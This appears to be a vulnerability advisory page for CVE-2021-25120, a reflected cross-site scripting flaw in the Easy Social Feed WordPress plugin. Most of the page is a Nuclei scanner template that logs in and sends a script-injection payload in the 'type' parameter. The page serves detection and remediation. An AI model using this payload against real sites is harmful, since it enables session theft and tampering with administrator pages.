CVE-2021-25120: Easy Social Feed < 6.2.7 - Cross-Site Scripting

2025-08-01 Easy Social Feed PoC Public

Description

Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.

PoC

id: CVE-2021-25120

info:
  name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing administrator session cookies or modifying social feed configurations.
  remediation: |
    Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0
    - https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25120
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25120
    cwe-id: CWE-79
    epss-score: 0.02909
    epss-percentile: 0.86297
    cpe: cpe:2.3:a:easysocialfeed:easy_social_feed:*:*:*:*:pro:wordpress:*:*
  metadata:
    max-request: 2
    vendor: easysocialfeed
    product: easy_social_feed
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,authenticated,wpscan,easysocialfeed,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type=</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'type' : '</script><script>alert(document.domain)</script>'"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed6c7b6e2275e7681ac8fa1ce6a6be6b381067aea9a597de21907b3e839a5d120221009dc7fab8a96f3d07ea2325df46a078f38bd8ace481541dcf99524c7401fdd8b6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25120.yaml

References

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